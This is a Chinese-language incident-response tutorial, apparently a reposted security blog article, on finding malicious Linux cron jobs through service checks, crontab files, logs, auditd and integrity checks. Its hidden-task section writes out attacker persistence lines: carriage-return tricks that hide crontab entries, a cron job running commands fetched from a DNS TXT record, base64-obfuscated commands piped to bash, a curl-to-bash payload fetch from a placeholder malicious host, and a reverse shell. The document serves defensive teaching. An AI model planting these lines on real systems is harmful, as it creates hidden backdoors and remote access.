[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)

admin 2024年11月27日11:07:03评论11 views字数 5202阅读17分20秒阅读模式

[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)

 0x00 免责声明

本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。

在数字取证与事件响应(DFIR)中,Linux 计划任务是安全人员自动化任务、定期收集数据和执行响应措施的核心工具。然而,这些机制也常被攻击者滥用,用于实现恶意程序的持久化、定时触发恶意行为或隐藏攻击痕迹。以下将全面分析 Linux 中的计划任务工具及其排查方法,涵盖 cron、at、anacron 和 systemd timers。

0x01 Linux 计划任务概述

Linux 计划任务工具主要包括以下几类:

  1. Cron:用于周期性执行任务。

  2. At:用于安排一次性任务。

  3. Anacron:确保错过的任务在系统启动后执行。

  4. Systemd Timers:现代化的计划任务机制,灵活支持复杂触发条件。

0x02 Cron 服务

2.1 基本概述

  • 功能:Cron 是 Linux/Unix 系统中的任务调度器,用于按照时间计划执行命令或脚本。

  • 原理

    • 后台服务 crond每分钟检查任务配置文件,并按时执行对应任务。

    • 用户通过 crontab 命令管理自己的计划任务。

2.2 服务状态检查

systemctl status crond
service crond status
/etc/init.d/crond status

2.3 Crontab 文件与配置

2.3.1 文件格式与任务语法

基本语法:

# 分钟 (0-59) 小时 (0-23) 日 (1-31) 月 (1-12) 星期 (0-6) 命令
* * * * * /path/to/command

● 示例:

# 每天凌晨 1:30 运行脚本
30 1 * * * /bin/bash /path/to/script.sh
# 每周一上午 9:00 运行
0 9 * * 1 /usr/local/bin/task.sh

📷

[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)

2.3.2 相关文件和目录

  • 用户级计划任务存储位置

    • /var/spool/cron/<用户名>:存储每个用户的计划任务。

  • 系统级任务[/etc/cron*]

    • /etc/crontab:全局计划任务配置文件。

    • /etc/cron.d/:存放其他系统任务配置文件。

  • 定期任务脚本目录

    • /etc/cron.hourly/:每小时任务。

    • /etc/cron.daily/:每日任务。

    • /etc/cron.weekly/:每周任务。

    • /etc/cron.monthly/:每月任务。

2.3.3 权限控制

  • 限制用户使用 Cron

    • /etc/cron.allow:允许使用 Cron 的用户名列表。

    • /etc/cron.deny:禁止使用 Cron 的用户名列表。

2.4 Cron 常用命令

2.4.1 常规操作

  • 查看当前用户的任务:crontab -l

  • 编辑计划任务:crontab -e

  • 删除所有任务:crontab -r

2.4.2 关联命令

● 检查 crontab 程序位置:

which crontab# 输出示例:/usr/bin/crontab

● 查看 crontab 所属程序包:

rpm -qf /usr/bin/crontab# 用于识别安装了 /usr/bin/crontab 文件的软件包。

● 列出相关文件:

rpm -ql crontabs# 列出系统中与管理 crontab 任务相关的文件。
rpm -ql cronie# 列出系统中与 cron 守护进程相关的文件。

2.5 Cron 排查

2.5.1 任务执行与修改

1. 检查 cron 服务状态

● 确保服务正常运行:

systemctl status crond

如服务未启动,可通过以下命令启动:

systemctl start crond

2. 查看用户与系统任务

● 用户任务:

ls -lart /var/spool/cron
cat /var/spool/cron/<用户名>

● 系统任务:

cat /etc/crontab
ls -l /etc/cron.d/
可直接:ls -al  /etc/cron*  再分别查看(ls -lart /etc/cron*)
# ① 排序:ls -al 默认不排序,而 ls -lart 会根据最后修改时间从旧到新排序。② 显示内容:两者都会显示所有文件和目录的详细信息,包括隐藏文件。

3. 分析日志

● 检查 cron 服务的执行日志:

grep 'CRON' /var/log/syslog    适用Debian/Ubuntu
more /var/log/cron*    适用Red Hat/CentOS

写成脚本判断输出:

if [ -f /var/log/syslog ]; then
    grep 'CRON' /var/log/syslog
elif [ -f /var/log/cron ]; then
    grep 'CRON' /var/log/cron
else
    echo "Cron logs not found in standard locations."
fi

2.5.2 可疑任务与文件修改

1. 排查潜在恶意任务

● 搜索可能涉及网络行为或脚本执行的任务:🎯

grep -Ei "(wget|curl|nc|bash|sh|python|echo|base64)" /var/spool/cron/* /etc/cron*

2. 检查最近修改的任务文件

● 查找最近 7 天内更改的文件:

find /etc/cron* /var/spool/cron -type f -mtime -7

● 查看文件元信息:

stat /var/spool/cron/<username>

3. 文件完整性验证

● 确保 cron 相关软件包未被篡改:

rpm -V cronie

4. 跟踪文件修改(需安装 auditd)

● 设置监控规则:

auditctl -w /var/spool/cron -p war -k cron_watch

● 查看监控记录:

ausearch -k cron_watch

5. 对比内容变化

● 分析任务文件内容的变更(提前备份):

diff /path/to/backup/cron_file /var/spool/cron/root

2.5.3 日志分析:任务执行与修改记录

1. cron 执行日志

● 示例日志:

Nov 21 14:00:01 hostname CROND[12345]: (username) CMD (/path/to/script.sh)

○ 时间戳:任务触发时间,如 Nov 21 14:00:01

○ 用户:执行任务的用户 

○ 命令:执行的任务命令 

日志筛选命令:
● 筛选最近 7 天的任务:

grep 'CRON' /var/log/cron | grep "$(date --date='7 days ago' '+%b %d')"

● 按特定时间筛选(如下午 2:00 到 4:00):

grep 'CRON' /var/log/cron | awk '$3 ~ /^1[4-6]:[0-5][0-9]$/ {print}'

2. crontab 修改日志

● 示例日志:

Nov 21 14:05:23 hostname crontab[67890]: (username) BEGIN EDIT (username)
Nov 21 14:07:45 hostname crontab[67890]: (username) REPLACE (username)

○ 类型:
■ BEGIN EDIT:开始编辑
■ REPLACE:替换任务
■ END EDIT:编辑完成
日志筛选命令:
● 查找非 root 用户的修改:🎯

grep 'crontab' /var/log/secure | grep -v 'root'

● 查看任务替换历史:

grep 'REPLACE' /var/log/secure
```bash
● 搜索删除操作记录:
```bash
grep 'crontab' /var/log/secure | grep 'DELETE'

2.5.4 隐藏计划任务原理及排查🎯🎯

(1) 利用特殊字符覆盖

回车符(r): 将光标移到行首,覆盖掉原有的内容。
空字符( NULL字符  ): 进一步填充空字符,使隐藏的内容更加难以察觉。
其他特殊字符: 如换行符、制表符等,也可以起到干扰作用。
示例:

printf "*/1 * * * * /home/y1x1n/test.sh;rno crontab for `whoami`%100cn"
# 在 C 语言的 printf 函数中,%c 是一个格式说明符,表示输出一个字符。
# 100: 这个数字表示输出的宽度。也就是说,会输出100个字符。
# c: 表示输出的是一个字符。
# 由于没有指定具体的字符,所以会输出100个当前字符集中的第一个字符,通常是空字符(NULL字符)。
# 通过输出大量空字符,可以覆盖掉前面输出的内容,达到隐藏的目的。

📷

[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)

写入 cron 任务:

(crontab -l;printf "*/1 * * * * /home/y1x1n/test.sh;rno crontab for `whoami`%15cn")|crontab -

效果及排查方法:
crontab -e     📷

[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)

cat -A     📷

[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)

(2) 利用DNS 的 TXT 记录存储和传递恶意或任意命令

计划任务:

0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"

● dig logging.chat TXT +short @pola.ns.cloudflare.com:
    ○ 使用 dig 工具解析指定域名的 TXT 记录。
    ○ +short 参数使输出仅包含实际 TXT 数据。
    ○ @pola.ns.cloudflare.com 指定使用的 DNS 服务器(可自定义为控制者的服务器)。
● sh -c $(...):将解析结果作为命令传递给 sh 执行。
TXT 记录的内容:
● TXT 记录中可以是任意的 shell 命令或恶意代码,如:

[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)

● 这种方式将动态获取的 TXT 数据直接当作命令执行。
执行效果:
● 每次运行计划任务时,都会实时解析 TXT 记录,执行当前存储的命令。
● 攻击者可以动态修改 TXT 记录内容,实现随时更改目标执行的操作。

参考:https://blog.sucuri.net/2019/05/cronjob-backdoors.html

(3) 其他技巧

编码: 对恶意命令进行编码,增加检测难度。
混淆: 使用复杂的语法结构,增加代码的可读性。

* * * * sh -c "$(echo L2hvbWUveTF4MW4vZXZpbC5zaA== | base64 -d)" 2>/dev/null >/dev/random
* * * * echo L2hvbWUveTF4MW4vZXZpbC5zaA== | base64 -d | bash 2>/dev/null >/dev/random 

利用系统漏洞: 通过系统漏洞,绕过安全防护。

创建一个新的crontab文件: 将隐藏的命令写入一个新的crontab文件中,然后使用crontab <filename>命令加载。

利用crontab的备份文件: 修改crontab的备份文件,然后恢复。

●  利用环境变量:

# 在 .bashrc 或 .bash_profile 中添加
export MALWARE="/tmp/.malware.sh"

chmod +x /tmp/.malware.sh

#!/bin/bash
# .malware.sh示例
curl -s http://malicious.server/payload.sh | bash

# 在 crontab 中引用
* * * * * $MALWARE
export RS="bash -i >& /dev/tcp/$(echo YXR0YWNrZXJfaXA= | base64 -d)/$(echo YXR0YWNrZXJfcG9ydA== | base64 -d) 0>&1"
* * * * * eval $RS

📝总体来说, 这些方式都比较容易进行排查,无非是细心一些~

    在本期内容中,我们深入探讨了 cron 的世界,从基础排查到隐藏任务,一起揭开了这个强大工具的神秘面纱。但时间的旅程从未停歇,我们的探索也将继续。在下一期,我们将拓展视野,一起探索 at、anacron 以及 systemd timers 的奥秘,这些工具同样在时间管理的舞台上扮演着重要角色。请继续关注,我们下期再会,不见不散!

END
[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)
{
    往期精彩回顾

   

}
认识正向代理、反向代理、正向 Shell 和反弹 Shell
Packer-Fuzzer:自动化API模糊提取与漏洞检测
Alibaba Nacos JWT令牌使用默认密钥浅析

原文始发于微信公众号(Y1X1n安全):[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日11:07:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [01]应急响应-Linux 计划任务与 DFIR 排查实践(一)https://cn-sec.com/archives/3432733.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息